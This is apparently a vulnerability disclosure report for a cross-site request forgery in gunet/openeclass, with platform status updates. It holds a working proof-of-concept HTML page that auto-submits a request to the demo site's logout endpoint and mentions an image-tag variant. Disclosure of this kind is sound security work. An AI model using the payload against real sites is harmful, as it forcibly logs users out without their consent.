Cross-Site Request Forgery (CSRF) in gunet/openeclass
Valid
Reported on
Dec 11th 2021
Description
An attacker is able to log out a user if a logged-in user visits the attacker's website.
Proof of Concept
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.openeclass.org/modules/auth/logout.php">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Impact
This vulnerability is capable of forging users to unintentional logout.
More details
One way GET could be abused here is that a person (competitor perhaps:) placed an image tag with src="<your logout link>" anywhere on the internet, and if a user of your site stumbles upon that page, he will be unknowingly logged out. This is why it should be a POST with a CSRF token.
Note
While this cannot harm a user's account, it can be a great annoyance and is a valid CSRF.
Occurrences
We are processing your report and will contact the
gunet/openeclass
team within 24 hours.
2 years ago
KhanhCM modified the report
2 years ago
We have contacted a member of the
gunet/openeclass
team and are waiting to hear back
2 years ago
We have sent a
follow up to the
gunet/openeclass
team.
We will try again in 7 days.
2 years ago
KhanhCM modified the report
2 years ago
index.php#L74-L96
has been validated
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